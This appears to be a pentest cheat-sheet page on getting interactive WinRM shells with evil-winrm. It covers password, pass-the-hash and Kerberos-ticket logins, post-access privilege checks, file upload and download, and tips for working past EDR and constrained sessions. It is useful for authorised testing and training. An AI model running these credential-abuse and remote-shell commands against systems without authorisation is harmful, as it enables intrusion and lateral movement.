Skip to content
HackIndex.io

WinRM Interactive Shell Access

4 min read Created Jan 4, 2026 Last updated Mar 29, 2026

Once creds validate, the fastest way to turn that into operator access is an interactive PSRP session. You’re aiming for a stable PowerShell prompt and quick confirmation of who you are, where you landed, and what’s blocked.

evil-winrm with password

HTTP 5985 default:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
Explain command
-i Specifies the target IP address to connect to
$TARGET_IP Placeholder for the target IP address
-u Specifies the username for authentication
$USER Placeholder for the username
-p Specifies the password for authentication
$PASSWORD Placeholder for the password

Domain format when needed:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u "$DOMAIN\\$USER" -p $PASSWORD
Explain command
-i Specifies the target IP address to connect to
$TARGET_IP Variable placeholder for the target IP address
-u Specifies the username for authentication
$DOMAIN\$USER Variable placeholder for domain-qualified username
-p Specifies the password for authentication
$PASSWORD Variable placeholder for the user password

Local account format:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u ".\\$USER" -p $PASSWORD 
*Evil-WinRM* PS C:\Users\...\Documents>
Explain command
-i $TARGET_IP Specifies the target IP address to connect to.
-u ".\$USER" Specifies the username with domain prefix for authentication.
-p $PASSWORD Specifies the password for authentication.

HTTPS and non-standard ports

If WinRM is exposed on 5986:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -S
Explain command
-i $TARGET_IP Target IP address to connect to
-u $USER Username for authentication
-p $PASSWORD Password for authentication
-S Use SSL/TLS for secure connection

Custom port:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -P $PORT
Explain command
-i Specify target IP address
$TARGET_IP Target IP address variable
-u Specify username for authentication
$USER Username variable
-p Specify password for authentication
$PASSWORD Password variable
-P Specify WinRM port number
$PORT Port number variable

If the endpoint is not /wsman:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -U /wsman
Explain command
-i $TARGET_IP Specifies the target IP address to connect to
-u $USER Specifies the username for authentication
-p $PASSWORD Specifies the password for authentication
-U /wsman Specifies the URI path for WinRM connection

Pass-the-hash shell

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H <NTHASH>
Explain command
-i $TARGET_IP Specifies the target IP address to connect to
-u $USER Specifies the username for authentication
-H <NTHASH> Specifies the NTLM hash for pass-the-hash authentication

Over HTTPS:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H <NTHASH> -S
Explain command
-i $TARGET_IP Specifies the target IP address to connect to
-u $USER Specifies the username for authentication
-H <NTHASH> Specifies the NTLM hash for pass-the-hash authentication
-S Enables SSL/TLS encryption for the connection

Kerberos ticket shell

Kerberos works best when -i is a hostname or FQDN. If you only have an IP, swap $TARGET_IP for the known FQDN.

Using a ticket file:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -r $DOMAIN -K /path/to/ticket.ccache
Explain command
-i Specifies the target IP address to connect to
$TARGET_IP Variable placeholder for the target IP address
-r Specifies the domain name for authentication
$DOMAIN Variable placeholder for the domain name
-K Specifies the Kerberos ticket file (ccache) for authentication
/path/to/ticket.ccache Path to the Kerberos credential cache file

First commands to confirm session quality

Run these immediately to confirm identity, privilege level, and whether the session is constrained:

PS C:\Users\Guest\Desktop> whoami
PS C:\Users\Guest\Desktop> hostname
PS C:\Users\Guest\Desktop> $ExecutionContext.SessionState.LanguageMode
PS C:\Users\Guest\Desktop> whoami /groups
PS C:\Users\Guest\Desktop> whoami /priv
Explain command
/groups Display all group memberships for the current user
/priv Display all privileges assigned to the current user

What changes your next move:

  • LanguageMode is ConstrainedLanguage: expect missing .NET-heavy tooling and script friction. Lean on built-in binaries and simple PowerShell.

  • Groups show local admin but whoami /priv is thin: likely UAC filtering. Plan for local escalation instead of assuming full token rights.

File transfer in-session

Evil-WinRM has built-in upload and download commands (run them at the Evil-WinRM prompt, not inside PowerShell):

C:\Users\Guest\Desktop> upload /absolute/path/local.file
C:\Users\Guest\Desktop> upload /absolute/path/local.file C:\Windows\Temp\remote.file
 
C:\Users\Guest\Desktop> download C:\Windows\Temp\remote.file
C:\Users\Guest\Desktop> download C:\Windows\Temp\remote.file /absolute/path/local.file

If upload works but execution is blocked, you’re dealing with policy or EDR behavior. Switch to living-off-the-land execution patterns instead of fighting the client.

Common failure modes you’ll actually see

Auth succeeds elsewhere but Evil-WinRM won’t open a shell

If you’re certain creds are valid, but the session fails immediately, the account may not be allowed to open a WinRM session (policy or endpoint restrictions). Validate with a straight WinRM auth check first, then pivot to another remote exec path if WinRM is “auth-only” for that user.

SSL handshakes and cert noise on 5986

Use -S. Don’t waste time fixing cert trust during a pentest unless Kerberos name matching is the real blocker.

Endpoint mismatch

If your earlier probing showed a non-default path, set -U to match the working endpoint.

Variant: native PowerShell Enter-PSSession from Windows

Useful when you’re already operating from a Windows host and want native remoting instead of Evil-WinRM.

PS C:\Users\Guest\Desktop> $secpass = ConvertTo-SecureString $PASSWORD -AsPlainText -Force
PS C:\Users\Guest\Desktop> $cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER", $secpass)
PS C:\Users\Guest\Desktop> Enter-PSSession -ComputerName $TARGET_IP -Credential $cred

References